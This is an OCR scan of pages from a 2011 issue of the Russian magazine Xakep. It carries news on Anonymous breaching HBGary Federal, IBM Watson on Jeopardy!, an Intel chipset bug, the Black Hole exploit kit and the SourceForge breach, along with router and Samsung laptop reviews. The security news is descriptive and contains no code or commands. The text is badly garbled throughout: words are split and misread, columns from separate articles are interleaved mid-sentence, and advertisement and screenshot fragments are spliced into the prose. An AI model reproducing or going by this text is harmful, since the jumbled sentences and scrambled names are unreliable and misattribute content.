та кже множество копирастовl , так и отдельных личностей. Сейчас этот пожар немного утих, зато «анонимных » мстителей начали

пачками вычислять и повсеместно арестовывать. Газета

Financial

Times, очевидно, решила немного раздуть эти угли, за с ветив в с воей статье имя эксперта в области безопа с ности Аарона Барра, который, как оказалось, провел детальное расследование и лично

вычислил 45 членов группы, включая лидеров . Важное уточнение: Барр являетс я директором компании HBGary Federal- дочернего предприятия извест н ой компании

HBGary,

спе циали зирующейся

на компьютерной безопасности и принадлежащей писателю, ха­

керу и геймеру Гр егу Хогланду, о котором мы не раз рассказывали. Детектив из Барра вышел неплохой

- при помощи левых учетных

записей в Facebook, наблюдения за IRС-каналами, где собираются Анонимусы, а также сетевых изысканий, помноженных на профес­ с иональные умения , он суме л добыть весьма ценную информацию на членов группы. Однако вся ирония заключается в том, что Барр, судя по всему, не передавал эти данные в п олицию или ФБР

он

-

утверждает, что приберегал и х для тематического доклада, с ко­ торым собирался выступать на ко нфер е нции R5A Con l ere nce

2011

в Сан-Франциско. Так ли это? Кто з н ает. Как бы то ни было, после

публикации в Financial Times Анонимусов уже не сильно заботили детали .. Вместо привычной DD05-ата ки была развернута целая операции возмездия, в ходе которой Апопуmоus'ы вскрыли все,

до чего сумели добраться : взломали твиттер-аккаунт Барра, сайт

HBGaгy Federal и корпоратив н ую сеть компании. В руки Анониму­ с ов попали налоговая отчет но сть, более

60 000 писем

итакдалее.

Плюс были найдены идентификационные налоговые сертифика ты, полные версии программных продуктов

HBGary,

очищен сервер

резервного хранения, получен доступ к внутренней АТС, найден

домашний адрес и номер со циаль н о го страхования Барра . До­

WEXLER.BOOK ESOOl

брались хактивисты и до ресурс ов hbgaгv.com и rootkit .com . Все найденное на вскрытых ресурсах было незамедлительнорас п ро­

« МЕТРО 2033 » ДМИТРИЯ ГЛУХОВСКОro И ЕЩЕ ДВА РОМАНА КУЛЬТОВОЙ СЕРИИ БЕСПЛАТНО В ЗТОЙ ЗЛЕКТРОННОЙ КНИГЕ WEXLER

странено вторре нта х Iлегко находится на The Pitare Bayl . Кроме того, Анониму с ы заявили, что часть собранных Барром данных­ фикция, и в заверше ни е вакханалии дистанционно стерли всю ин­

формацию с его iPad. Адля тех, кто считает, что Барр пострадал «за

СТИЛЬНЫЙ ГАДЖЕТ

правду » , заметим , что среди бумаг е го компании были обнаружены очень интересные документы. Е сли им верить, то Барр предлагал

Bank 01 America свой проект по «потоплению» WikiLeaks: кибер­ атаки, напр авленные против инфраструктуры

WikiLeaks,

с целью

ЭКРАН 5"

добыть данные об источниках-поставщиках документов, а затем мощный пресс против послед н их. Или же фабрика ц ия компроме­ тир ую щи х документов, которые «скармливались» бы

Wiki Leaks,

m m АЛЮМИНИЕВЫЙ

... ..

_

а

•=

КОРПУСI КОЖАНЫЙ ЧЕХОЛ

ЗЛЕКТРОННАЯ

БИБЛИОТЕКА ~~~E 200 ТЫС.

=.

~ .

РАДИО И МР3

а ЧТЕНИЕ 11 тыс. О

СТРАНИЦ Б8

ПОД3АРЯДКИ

потом с п омпой разоблачались как п одделка . В об щ ем, «сканда лы, интриги, расследования». Теперьже, после столь масштабной

операции Анонимусов и слива компромата на Барра и компанию в

Сеть , еще неизвестно , кому стоит опасаться возмездия властей и последствий .

• •

ф wеХLег.

www.wexler.ru

.3.fi. B IIJ.I .. §I\. ••

ТЕЛЕФОН ГОРЯЧЕЙ Л ИНИИ : 8 (800) 200 96 60


ЗНАТОКИ ПРОТИВ КОМПЬЮТЕРА Игрой в шахматы с компьютером сегодня уже никого не удивить, ведь

машина ошибалась

люди начали играть с машинами еще в 80-е годы . А если вместо шахмат

чаще людей:

будет интеллектуальная викторина Jeopardyl [прародитель «Своей

трижды дал неверный

Watson

игры»I, а вместо обычных ЭВМ - суперкомпьютер 18М Watson? Как

ответ, в то время как

оказалось, компьютер не подвел и здесь. Такая игра действительно

игравшие с ним Брэд

имела место - совсем н едавно в С ША прошли два уникальных турнира,

Руттер и Кен Джен­

в ходе которых умнейшие соревновались с разработкой инженеров

нинг согра ничились

IBM. В итоге по сумме двух игр Wаtsоп заработал $77 000, более чем

одной-двумя ошибка ми . Стоит отметить, что во время игры детище IBM

втрое обогнав сильнейших игроков Jeopardy! По общему количеству

не пользовалось никакими внешними источниками данных, все свои

правильных ответов

«знания» суперкомпьютер получил в ходе индексации большого количе­

Watson тоже вне конкуренции - двадцать девять

против восемнадцати и тринадцати у его чел ове ческих соперников. Зато

ства различныхтекстов.

Ученые из Университета Южной Каролины в очередной раз «взвесили

" "

информацию» и сообщили, что на 2007 год мировой объем сохраненных

данных составлял

295 эксабайт (295 млрд Гб).

БАГ В НОВЫХ ЧИПСЕТАХ INTEL снижению производительности и нарушению функционирования под­

ключенных к ним устр ойств. На работу процессоров и др уг и х продукто в обнаруже нная ошибка не влияет. Справедливости ради стоит сказать, что в реальности эта проблема вообще коснется очень малого количе­

ства устройств и людей. Тем не менее, когда о баге стало и звест но, ком­ пания Intel приняла трудное, но смелое решение: прекратить поставки продук ции и остановить выпуск п оте нциальн о дефектных чипсетов

[ошибка уже исправлена и налажено производство исправленной Совсем недавно компания Iпtеl торжественно представила миру Sandy

версииl. Также в Intel готовы обменять все отгруженные чипсеты и

Bridge - новую микроархитектуру, основанную на 32-нм техпроцессе.

системные платы , взяв при этом все расходы на себя. Учитывая масштаб

За этим п оследовало закономе рн ое обновление линейки п родуктов, с

«бедствия», это решение вызывает уваже ни е, ведьтакие гиганты, как

которым вышел неприятный и громкий казусjже п осле релиза в чипсе­

НР,

тах шестой серии, известных под условным обозначением Cougar Point,

новы х продуктов, но и готовятся к возврату уже проданных систем. Все

обнаружилась ошибка. Эти чипсеты используются в ПК с процессорами

это оз начает немалые финансовые потери

Intel Соге второго поколения [ядро SandyBridgel, и, что самое непри­

под считали , что на исправление последствий ошибки уйдет около

Dell и Toshiba были вынуждены не просто отлож ить начало поставок - в Int el предварительно

ятное, «лечится» проблема только путем замены чипсета. Затрагивает

$700000000. Впрочем, тот факт, что ошибкуобнаружили на ранних ста­

ба гтолько SATA - со временем из-за ошибки разработчиков порты SATA

диях, не успев распродатьдесятки тысяч устройств, все же радует, равно

могут начать « деградировать », что, соответствен н о , может приве сти к

как и реакция Intel на слу чивш ееся. Побольше бы таких ответственных.

" "

Мiсrоsоft наконец сделала то, что следовало сделать давно. Вышел патч,

отключающий в старых версиях Windows функцию автозапуска для всех

внешних накопителей. Никакого автозапуска с флешек!

РАДИКАЛЬНОЕ РЕШЕНИЕ

O-DAY ПРОБЛЕМ

В ходе интервью журналу Computerworld главный технический директор

на аппаратной основе, и , скорее всего , будет интегрирована прямо в

компании IпtеlДжастин Раттнер, проговорился о новой разработке компа­

процессор или чипсет. Как ни странно, оказалось, что этот проект был начат

нии. П о словам Раттнера лучшие умы в I пtеlсейчас бьются над созда ние м

Intel самостоятельно, еще до приобретения компании McAfee [допустить

своего рода аппаратного антивируса, направленного на борьбусуязвимо­

до разработки ее инженеров пока только планируетсяl. Други х деталей

стями «нулевого ДНЯ» . Обычное антивирусное ПО, как правило , использует

Раттн ер раскрывать не стал , но ждать п одробн остей не придется долго

для выявления Oday-атак сигнатурный анализ, который оказывается не

- релиз н овой технологии должен состоя ться уже во второй п оловине теку­

сли шком эффективен. Раттнер подчеркнул, чтотехнология, разрабатывае­

щего года. И говоря «релиз», МЫ подразумеваем именно вывод новинки на

мая его компанией, не имеет к сигнатурам никакого отношения, строится

рынок, во в с яком случае, такзаявил технический директор Intel.

~

012

ХАКЕР

04/147 / 2011


ЧЕРНЫЙ РЫНОК НЕ СТОИТ НА МЕСТЕ Сразу пара заметных новинок появилась на сете-

криптоалгоритм, шифрующий код эксплойтов,

вом черном рынке мал варя. О первой сообщила

получаемый через

компания Sуmапtес, заметившая, что ~абор экс-

сервера. Это существенноусложняетобнаруже-

плойтов Black Hole Exploits Kit начинаетнаби-

ние зловреда антивирусным ПО. Разработчики,

рать определенную популярность. Набор новый

кстати, позиционируютсвою поделку как систему

-

.-

: :.:::;:-

11 .~

iframe от контролирующего

и заявлено , что он эффективен в 10% случаев,

сетевоготестирования компьютера на возмож­

что весьма неплохо - жертвами Black Hole еже­

ность несанкционированного проникновения

дневно становятся порядка 100000 компьютеров.

Вторую новинку, обретшую нездоровую популяр­

Эти цифры вполне сопоставимы с результатами

ность, обнаружила фирма

.0 -

'

--

:1.

Websense. ТулкитТiпiе

таких знаменитых эксплойт-китов как Neosploit

Facebook ViralApplication - полная противопо­

и

ложность вышеописанному

Phoenix. Цена годовой «лицензии» на новинку

- ...

-

он прост, дешев,

не высока - $1500, что также способствует ее п о ­

рассчитан на безмозглых скрипткидцисов и, увы,

н о безотказно воздействующие на пользовате­

пуляризации. По информации Symantec 'а также

из-за этого пользуется спросом. Уже из названия

лей социалок варианты. Разумеется, на самом

судя по источникам распространения и русскоя­

понятно, что инструментарий ориентирован на

деле жертва напарывается либо на приложения,

зычному веб-интерфейсуl тулкит является делом

Facebook, а именно - на генерацию фальшивых

распространяющие вирус, либо на средства

рук наших умельцев. В сборку включены наи­

приложений. Приобрести набор можно всего

взлома. Дешево и сердито. И чем доступнее

более полезные на сегодня уязвимости - Java,

за $25, после чего вредоносные приложения

такие «набор ы для дураков», чем они пр още, тем больше находится желающих попробовать, благо

НСР ICVE -20 10-18851, POF, МОАС итак далее.

можно создавать в оптовых количествах. Тут и

Атака на жертву происходит в моментпосещения

опросы-ловушки, и предложения узнать, кто

никаких специальных навыков и зна ний такие

ею саЙта. Основной фишкой набора является

просматривал твою страницу, и другие нехитрые,

тулкиты не требуют.

" "

Ну вот и Bce.ICANN официально объявили, что пул свободных адресов IPv4

исчерпан.IРv6 все ближе, хотя переход на новый протокол вполне может

занять и пять-десять лет. v

ПЕРВЫИ

HTML

HTML5 САМР

Что нас особенно радует в последнее время, так это бурное развитие

игр с использованием HTML5. Реальные

HTML5. Движение во многом задают разработч ики браузеров, причем не

кейсы к ру пны х компаний добавляют

только реализуя все фишки нового стандарта, но и активно проводя раз­

оптимизма и смелости для использова­

личные мероприятия по популяризации новой технологии. В частности ,

ния новых фишек. Тем более, что уже в

в апреле в Москве состоялась конференция HTML5 Сатр, посвященная

мае 2011 года HTML5 приобретет статус

новым веб-стандартам. В конференции приняли участие немало инте­

Working Oraft Last Call , а к 2014 году будет

ресных докладчиков. Вадим Макеев, веб-евангелист Орега Software,

оконча тельно принят в качестве рекомен­

рассказал об особенностях динамической графики с помощью Canvas

дации WЗС. Кстати, узнать подробн ее о

и

SVG. АФедор Голубев из Яндекса на примере показал, как новые воз­

разных статусах и пути от одного к другому

можности графики используются в Яндекс.Картах. Интересно было по­

ты можешь из еще одно го доклада

слушать Николая Котлярова, который поделился опытом портирования

ступны в записи на сайте ml с гоsоft.соm/гu-гu/еvе п ts/html5саП:ЧJ .

HTML5 Сатр. Все выступления до­

ИНТЕРНЕТ ДЛЯ РОБОТОВ Работа над жутковатым проектом началась в Евросоюзе

- там планиру­

ют создать автономную сеть по образу и подобию интернета, предна­ значенную для ... машин. Начинание носит имя RoboEarth, и у него уже

есть собственный сайт Iroboe arth .o rgl. Идея проста. У людей есть World

Wide Web; есть Wikipedia, которую наполняют всем миром, а потом де­ лятся друг с другом знаниями. Так почему бы не сделать то же самое для

машин? Место, где самообучающиеся роботы могли бы обмениваться «опытом», где хранились бы единые, удобные для доступа базы данных. И это отнюдь не фантастика -

первый робот, п одключенный к RoboEarth,

уже создан инженерами из Технологического института ЭЙндховена.

выгода налицо, а начало в виде первых полезных мегабайт информации уже положено. Разработчики прогнозируют, что благодаря RoboEarth

Это медицинский роботАМIGО. Пока команда из тридцати пяти человек

через семь-десять лет мы получим вполне работоспособные, а главное

тратит огромные усилия и море времени на то, чтобы обучить его про­

- независимые отчеловека машины. Кстати, поминать«Скайнет» и

стейшим вещам, но все , чему научится

готовиться к восстанию машин пока еще рано

AM IGO, впоследствии смогут

легко ско п ировать из RoboEarth другие аналогичные машины. Словом,

ХАКЕР

04 / 147 / 2011

номная, и за ней внимательно следят л юди

-

сеть полностью авто­

:1. ~

013


RADEON HD 5570 СО ВСТРОЕННЫМ ТВ-ТЮНЕРОМ Думаю, многие наши читател и помнят славные врем ена, когда н а рынке было представлено н емало видеокартсо встроенными ТВ-тюн ерами. Та­ кие девайсы были удобны и полезны, но потом тенденции рынка смени­

ли сь, и п од об ны е гибриды ста ли почти вымирающим видом . Для тех, кто соскучился, хорошие но вости: компания риной и представила «комбайн» о самом тюнере

Sap phire решила тряхн ут ь ста ­

SAPPHIRE НО 5570 Хtепd ТV. Для начала

- это мультистандартны й пр ограммируемый ТУ-тюнер

Miri cs FlexiТY , с п особ ны й приниматые л е- и ради ос игналы в стандарте ОУВ - т. Так же, как и с об ычным ТВ -т юнером , можно пр осм атрив атыеле ­ передачи на ком пьютере с использованием

Media Center - записывать,

сохранять и вос пр оизводить программы п о собственному желанию . Но в комплекте с

SAPPHIRE НО 5570 ХtепdТVтакже п оставляется ПО Miri cs

FlexiStream и мощный ДУ на 49 кнопок с приемником для порта USB 2.0. С их п о м о щь ю любой ком пь ютер с новым «комбайном» от Sapphire на

борту легко пр евра ща ется в се рв ер, транслирующий видео [мож н о в записи, можн о « вживую » ] . И с пользуя клие нт Хtе пdТV, мож н о про с матри­ ватыранс ляци ю в любо м месте земного шара. Обсчет ви деопотока при этом ложится н а

GPU,

а это

Radeon

НО

5570 с

памятью

GOOR 5 объемом

1 Гб , так что проблем не будет. Карточка ос нащена видеовыходам и OVI и HOM I, а за охлажд е ние отве ча ет однослотовый куле р активного типа с одним вентиля тором. К сожалению , цена устройства пока не извест на, но, исходя ИЗ то го, что на м известно о компа н ии

Sapphire, р елиза не пр и ­

дется ждать дол го, а цена врядли будетзавышена?

"

в своем ежегодном отчете компания АгЬог Networks сообщила, что в 2010

году DDoS-атаки достигли невиданной ранее мощности: около 100 Гбит/с.

"

Эта цифра более чем в два раза превышает показатели

2009 года' А ведь дальше

будет хуже.

SОURСЕFОRGЕВЗЛОМАН

-!1ш!. cгeat e ,

"".

and pubIish Open Source software for free

и систему за грузк и р е л изов , а также сервис интерактивного

системе

shell в

ProjectWeb. П роизошло это отнюдь не из-за плановых р абот

или како го-то сбоя , а в результате хакерской атаки. К стати , п омимо упо­

574718 downto.sds tOd4Y

мянутых мер был произведен и сб р ос всех пар олей для в сех аккау нтов

sourcefo rge.net - п одоз р ения п о поводу утечки пользовательской базы

---

IS • 0InhМWV

0eII

1.l.q)IS ....

C\;tmWnFre\!Anti_ ..m-Мh

..

0

r'I!eAl'lllwusIcr\~ _ _,

fNelCllYnll.I«Ite'*'d.

'II1'khlSblМdcnr.

NgII~.мoTht

euт.r.r, _loaIsgn

~~bI.f:

P'O!18'\~11.xz.

~ , Wlddl&lbl!lt

82JP2.OZf>, TAR,lF, WN,

upd8Ies , tAЯelllI8III

. -.",.,.

_

flIUIt

"""

oIJIr5_,..,.,hn,.

~1IINJ

-ЩS,''d'W!'

WWlDifSUt: 'МЮо ...

SNmN\II5'~ _ _ pc*(-

'МdRSI8I\WD6IIS.cist

n.OdI

~

qiPeS

11vs1l'dildrfs"SCI.U.I.

сов у шло более двух нед е ль . Так как одним из наиб олее вер оят ных моти ­ вов атаки было на з вано намерение поместить вредоносный код в архив

с релизом какого-то п опулярного пр оекта , контрольные суммы всех

[1]

проектов тоже перепров ер и ли. Выя сни л ось, что никакого су щ ественно­

Sc:ummVlo1

~1OI

тоже имелись . В итоге н а полную пр оверку и восстановление всех серви­

гоущерба п роекту хакеры все же н анести не успели , за то о ни о ч е нь ярко xвucwю.c.n.r"'he

~5WSkt_anfI

ICeoef"aaPuswaroS8'-lS' .... Of*tSOЩ" . I9I·~

Cl88rцllOOIb'Nincllмsl

8nd8QJ_~

~~

1f'cJмchk,.8IId~

~Iorv.mioм

s,sмm~ff8l!lNOltl:

-Шi;"

-

YOI,I

ооа.,**"" r!IIdoIIpI8)'В'

8I'ICI.-tIirmed

s&

продемонстрировали публике, почемуSоuгсеFогgе в последнее время

сдает позиции. Одна из главных причин

у р ок, похоже , усвое н . Админи страция проекта заявила, что безо п асност ь

Тебе наверняка знаком крупнейши й и некогда самый популярный хо ­

инфраструктуры

сти нг откры тых пр оектов

того

SourceForge.net. Быть

может, ты даже замети л ,

- уста р ев ш ее ПО: некоторые

се рвисы [CVS и ViewVC ] разработаны более де сяти л ет назадl В пр очем,

Sourceforge.net будет п ересмотрена и усилена, а кроме

- регулярно будут пр оводиться различные пр офи лакт ические

что н едав ноон и спы тывал некоторыетехническиетрудности. Е с ли

меры. Это, конечно, хорошо, но врядли эти меры п озволятSоuгсе Fо гgе

говоритыочнее, адми ни страц ия пр оекта была вынуждена временно от­

у гн ать ся за с в о ими молодыми ко нкурен тами в лице , скаже м,

кл ючить СVS-репозитории, web-интерф ейс для пр осмотра кода [ViewVC]

Google Code.

~

014

GitHub и

ХАКЕР

04/ 14 7/201 1


не гия

инетика

в одно м из наш и х номеров , в статье

«Level-up для точки

доступа », мы

дел и лись секретами , как из рядового

бе с проводно го роутера , которы й мало

с) Встроенный торрент-клиент.

на что с по собен, кроме как просто

Возможн остью з агрузки файлов с торрентов

раздавать по кварт и ре инет, можно

не которые беспроводные и нтер н ет- ц ентры

сделать многофункционального

могли похваста т ься уже давн о . н о их в стро­

монстра с поддержкой USВ-принтеров ,

енные кл иент ы бы ли абсолютно н е пр и го д ­

толковым торрент-треккером и

ны для и с пользования . О ч е в и дным ре ш е ­

возможностью раздавать файлы

нием была самостоятельная настройка

с подключенного внешнего диска.

любимого

Тогда для этого пришлось искать

щими проблемами в настройках . И вот,

альтерн ативную прошивку от

нак о нец -т о венд ор ы сетевого оборуд ования

Transmission

с о всеми вытекаю­

:1.

энтузиастов, ковыряться в кон фигах

поняли, чт о это они должны де л ать сами

встроенного

Добавлять новые зака ч ки тепе рь возмож н о

Linux'a

и настраивать весь

откуда уго дно'

недостающи й для наших задач софт. Времена меняются . В продвинутых

с) Сетевая печать на USВ-принтере.

домашних устройствах все эти опции, ради которых раньше приходилось

':'>

доступны и готовы к употреблению просто так

-

П од клю ч ить п ри нте р к одн о м у из ком п ьюте­

---------

порядком заморочиться, теперь

ФФCDФ

Т-.._

....

)

прямо из коробки, и даже

ров и с д елать е г о досту пн ы м для др у ги х

машин

прошлый век . П ару л ет н аза д я

-

подключил принтер к роутеру и д о с и х пор

подробно описаны в мануале . Один из

не нараду ю с ь такому подходу. Что может

первых дева й сов такого ранга недавно

быть л уч ш е: интернет-центр всегда вкл ю ­

представила компания

чен

м одель

сетевая печать с любого устройст ва ..

ZyXEL - это Keenetic со встроенной Linuxплатформой NDMS.

более

30

моделей USB-моАемов м об ильно­

г о интернета

3G и 4G, да же Jingle от Yota.

давшийся

с) Всеядность по проваЙдерам .

м ало кому под­

holdoff 60»

ma xfai l

О

для доп о лнительной на стройк и

pppd-Аемона. Без н ее РРТР -соед и н ение

соотв етст венно в се гд а досту пн а и

Keenetic

поддерживает почти все п р инте р ы

кроме GD I - моделеЙ . с) Аппаратная поддержка

Д о сих пор помню. как каждый ра з и скал строчку вроде « п о трре потррс

-

с) Поддержка беспроводной сети 802.11п.

IР-телевидения .

Еще недав н о казалось , что устрой ства с

Провайдеры в качестве д о п о лн и тель н ой

п о ддер жко й нового стандарта

ус луги теперь п о гол ов н о пр едла гают ц иф­

Wi-Fi

появят­

не устанавливалось, хоть ты тре сни. В это м

ся у меня не скоро , и он особо не н уже н . В

ровое ТВ . И длин н ые и н ст рук ц ии п о его

плане особенно радует универсал ьная

дей ств ительно сти уже почти в се н оутбуки

настрой ке . В случае с

настройка подключений в

по ставляются с обновленными бес провод ­

мож но вообще обойтись без до п олн и те л ь­

Kee neti c:

пр еду­

Keenetic

ч а щ е всего

смотрены все мыслимые протоколы и нюан ­

ными модулями . Скорость передачи данных

ного ко нфигурирования и сразу п ол уч и ть

сы авторизации, в том чи сле 802.1Х, и даж е

802.1 1n составляет до 300 Мбит/с. Это тео­

«картин ку» на ко м п ьютере, р еси в ере

возможность подключе ния н а базе

рия . Но на деле мы пол у чаем ско ро сть,

или ноуте по

VLAN'OB

Wi-F i. IPTV

IPTV

подд е р жи в ае тся

[идея п одключ ения п о 802. 1Q не уме рла и до

с равним у ю со старым д об рым 100-м е габит­

автоматически по умолча н ию и сам ы м у н и­

с и х п ор культи в ир уется некоторыми пр о вай ­

ным

версаль н ым образом . То л ько есл и тр ебует ся

дерами l . Р оутер «оттюнингован » для работы

обычно го

в сетях ведущих российских провайд е ров :

ре ж имы маршрутизируемого и мостового

вооб щ е не испытыва л на г рузки l -

ско р ость маршрутизации чер ез РРТР и L2ТР

подключения п о

выбрать д р у гой режим .

Ethe rn et'oM,

и это на уровень выше

802. 11g'

Полезная добавка

-

Wi-Fi .

выде л и т ь дл я п риставки п о рт [ ч то б ы р оутер мож н о

- до 90/70 Мбит/с, через РРР о Е и IPoE - до 95 Мбит/с.

Многофункциональный хост К

с) Легкое подключение как по

Ethemet,

Keenetic

USB.

можно подключить моде-

мы, принтеры и ' внешние на ко пители .

с) Улучшенная безопасность .

Последний п у нкт, но не посл едн ий по в аж­ но ст и . Каждый, кто обзавелся д ома ма рш ­

так и через ЗG/4G-модем.

П ос леднее особенно п олез но для работы

рути з атором, замечал, что необход имость

Сложно забыть, сколько за мор о чек еще

торрент-клиента. Пр облемой зде сь могла

уста навливать файрвол на клие нтских машинах с э того момента п ро пад ае т .

н едав н о бы л о с тем , ч тоб ы з аставить рабо­

бы стать необходимост ь форматировать

тать 3G-а Ааптер [к тому же залоченный на

нако п итель под файлов у ю систему, которую

В се ли ш нее фи л ьт руется н а а ппаратн ом

о дного оператора l с моим беспровод н ым

п о нимает встроенный

у р ов н е . В

Kee neti c

роутером. Дл я этого п от ребовал ся целый

продвинуты х моделей

экран

с за щ и той от DD oS- атак .

набо р хаков. В слу ча е с

Keenetic

самые

Linu x точки . Н о у вроде Keenetic'a есть

встроенная поддерж ка в сех н еобходимы х

SP I

встр ое н м ежсе те в ой

К том у же роутер может п ох в аста т ься тех­

разные варианты подключения к глоба ль ­

файловых систем [FAT/FAT32/EXT2/EXT3/

нологией Wi - Fi Protected Set up [WPSI дЛЯ

ной сети продуманы с само го начал а. В

NTFSI , а та кже прот околов 5 MB и FTP

бы строй наст ройки защи щ ен н ой сет и

частности, из коробки поддерживается

[любые шары прям о с устроЙст в а l .

и подключ е ния беспровод н ых устр ойств .

ХАКЕР

04 / 147/ 2011

~

Wi- Fi

015


• • Сергей Мельников

аст

н

Тестирование ноутбука Samsung 9-й серии ТЕХНИЧЕСКИЕ ХАРАКТЕРИСТИКИ:

веский аргумент для камрадов, носящих ноутбук в те с н ом рюкзаке).

Дисплей:

Третий

13.3", 1 366х768, LЕО-подсветка, 16 млн цветов

Яркость : 400 нит I кД/м2 ), технология SuperBright Plus Процессор : Iпt е l Со ге

i5 -2537 M, 1.4 ГГц

ра зъемы на торцах н аходятся в о ткид ывающихся крышеч ках

Чипсет: Iп tе l НМ 65 Видеокарта: Iп tеl НО Сеть:

OOR3 4 Гб

по

но сишь месячный запас дошираков и булок, то можешь быть увере н, что весь этот мусор не забьется в п орты .

Graphics 3000

SSO 128 Гб

Впрочем, жевать ке ксы над клавиатурой тоже не стоит

Bluet oot h 3.0, Wi-Fi 802. 11 п

Разъемы ноутбука :

-

одной слева и спра ва . Если в тесном рюкзаке, помимо ноутбука, ты

Оперативная память: Накопитель:

«Bayl» - орга н изация портов. Е сли уж д ела ть ноутбук

стильным, то стильным во всем. Поэтом у в Sа m s uпg 9-й сери и все

- жалко же!

Клавиатура н е только стра сть как уд об н а, н о е ще и с н абже н а катод­

USB 3. 0, USB 2.0, mi cro HOMI, НР, ридер

н ой п од с веткой, которая включается автоматически в условия х сла­

бой освещенности.

Mi croSO Дополнительно: веб-камера

С тачпадом можно быть бол ее беспощадным , ибо тот мало того , что

Батарея : 46 Вт'ч 'до семи часов работы)

огромных размеров, так к тому же покрыт не пла сти ком, а стеклом.

Размеры: 328х227х-16 мм

Благодаря это м у е го пов е р хност ь не от п оли руется со времен ем ' как

Масса :

часто бывает у деш евых н оутбуко в). Э п и ч еский дестрой этом у та чпа­

1.3 1 кг

ду можно устр ои ть разве что стекло резом . Надеемся, никто из твоих

Е с ли ты хоть ра з по ку п ал ноутбук, то точно знаешь, сколько мерз­ кого ф ирме нн ого софта пр иходится п отом сносить. В большинстве

знакомых не но си т с собой подобный инструмент.

лэптопов, от ком па ктной бизнес-модели до домашнего медиамон­

Песнь дружбы

стра, установлен соверш е нн о бес п о лез ны й софт вроде тормоз-

Разъемов в Sаmsu п g 9-й се рии, в общем-то , немного , и все они

ны х проигрывателей, непонятны х фотобиблиотек, неработающих

необыч ны . На каждом и з боков н аходятся п о одн о м у

апдейтеров, а то и вов се рекламных приложений. Случай, когда

один из ни х тр етьей в ерсии. Для владельцев телефонов с разъемом

программа от пр оизвод ителя бука может действительно пригодить­

под флешки пригодится встроенный кард-ридер

с я , можно сч итать из ряда вон выходящим. Так что тем более круто,

очень необычно .

USB, прич ем

MicroSO - выгля дит

Micro HOMI тебе вряд ли понадобится, но если

ко гда такой софт предоставл яет действительно новые возмож­

вдруг

ности. Так Sаmsuпg 9-й серии по зволя ет интегр и рова т ь н оутбук с

ем. Самый н еоб ычный порт, на з н аче ни е которо го сразу п о нять н е

остальным имеющимся железом

-

например, другим компьюте р ом

и телефоном . Без труда и мороки отправлять через компьютер

SMS

-

доку пи недорогой пере ходничок на п ол н ор азмерный р азъ­

пол у ча ется,

- НР. На д еле это проприетарн ый разъем Еthегпеt­

места для огромной дыры

RJ-45

не хватило , поэтому ее вынесли на

и MMS с телефона и ли использовать телефон в качест ве модема.

отдельный пере х одни к, который идет в комплекте с н оутбуком. Влить

Н у вот, с чи тай, ты пр очел кра т кое о п исание софта из ноутбука

Sаmsuпg 9-й с ерии в любую сеть пол учится на максимальных скоро ­

S аmsuпg 9-й се рии . И это от нюдь не главн ое его достоинствоl

стя х

Sаmsuпg серии 9 - самый то нкий тринадц атидюймовы й ноутбук

нию пр оводной гигабитной сет и очень ра с п олагает SSО-драйв, уста­

в мире . Кол и попытаешь ся возразить, напомним , что то, о чем ты

но вленный в ноутбуке в ме сто НОО

хотел сказать, имеет толщину

ны е скорости. Завершает парад бес пров одных технологий

17

мм, а новинка Sаmsu пg

- 16.

П ервый «B ayl» испытываешь, когда открываешь короб ку с ноут­

- н е обы чный картон из вторсырья, а красивый черный

кейс с металлизацией. Второй

- та кая связка даст максималь­

«Bay l» -

сам ноутбук. Кажется, что

Достижения народного хозяйства Надеем с я, ты в курсе , что в январе Iпtеl выпустила ново е п околе ние пр оцессоров Sа пd у

Bridg e. П омимо уменьшив ше гося до 32 нм тех­

его корп ус сдела н из цельного согнутого ли ста металла. Металл,

пр оцессора, н овые Iпtеl Соге

кста ти,

дро . Погоди плеваться l Чип Iпtеl НО

-

Bluetooth

3.0, как н ельзя более подходящий для связи с мобильником.

Вау-фактор буком

- тут тебе и гигабитный Еth ег п еt, и Wi- Fi 802.11 п. К и спользова­

не алюминий. Sаmsuпg заверяет, что это са мый что ни

на есть дюралевый спл ав, при ме ня е м ый в авиастрое нии . Такой

i5 -2537M получили встроенное видеоя­ Graphics 3000 по у ро в н ю произ­ NVID IA

водительности на ходится п риме рн о на той же сту п е ни, что и

сплав имеет в не скольк о раз бол ь ш ую проч ность, чем обы чный

GeForce

алюминий, при сох ран е нии того же ве са. Охотно верим, потом у что

-

классической про блемы сверхтонких ноутбуков Iпаль це м можно

видео ка рт. Сил чип а хватит на то, чтобы погонять в любую совре­

GТ 320 М,

NVIDIA GeFo rce

GТ 42О М и А МО Rаdеоп НО 647О М

одни х из самых нын е п о п улярны х интегрированных мобильных

продавить кры ш ку до матри ц ы) Sаmsuпg 9-й серии ли шен - как

менную и гру при средних н астр ойках графики н а иг ра бельном

ни давили , ни каких разводов п о экрану не пошло . З начит, да же

-

в су мке с кучей стаффа ноутбук останется цел

~ 016

1+100500

к броне -

что-то около

40.

FPS

В пар е с ш устрым процессоро м труд ится не менее

ш устрый SS О-драйв, ско ро стн ой , н о м а л ое мкий

- всего 128 Гб . Н е ХА К Е Р

04/147/201 1


Цветовой охват экрана почти соответствует диапазону

sRGB -

редкий результат даже ДЛЯ настольных мониторов

~

13

~

~

Ш~

70

70

'"

Ваедите ~ 1O."'.ние

'"

' 09 RGB

Кривые цветокоррекции не сильно отклонились от диагонали -

значит цветопередача близка к

идеальной сли ш ком м н ого , хватит только на

Windows ,

софт и необходимые

различны м и уст р ойствам и : ноутбук , телефон , телевизор, видеока­

фай л ы. Для мед иа теки ил и иг р лучше завести себе внешн и й НD D.

ме р а и та к далее . П ричем наст р ойка пр оход и т п росто , б ы стро и без

Н о, пожалуй, главным достижением Samsung [к слову, одно го из

заморо ч ек

кру п неших производителей ЖК-матриц] является экран н оутбука.

от откры т ых ста н дартов , где пор о й приходи тся ста нц еват ь ру м бу с

-

гл ав н ое преимущество фир м енных техноло ги й в отличие

Во-первых о н обладает просто чумовой яркость ю в 400 нит - тако го

бубном и выругаться всем синтаксисом ассемблера. Однако пол н ая

запаса хват ит, ч тобы выжига т ь врагам парт ии глаза. Во-вторых,

совместимость с об ы чным

экра н отл ичается зверской цветопередаче й :

работает? Пришел к другу с ноутбуком, подключился К сети , выбрал

матрицы

TN+Fi l m

16 млн цветов. Дл я

это край н е н еобычно. Благодаря это м у цветовой

охват экра н а пра кти ч ески равен охвату

sRGB -

владельцы нед о­

рогих н астоль н ых мони торов [не говорим про владельцев н оутбуков]

DLNA

у тех н ологии п р исутствует. Как это

в ноутбуке подключе н ный к этой сети телев и зо р и без труда начал про и грыва ть н а н ем филь м ы. Все делается в п ару кликов.

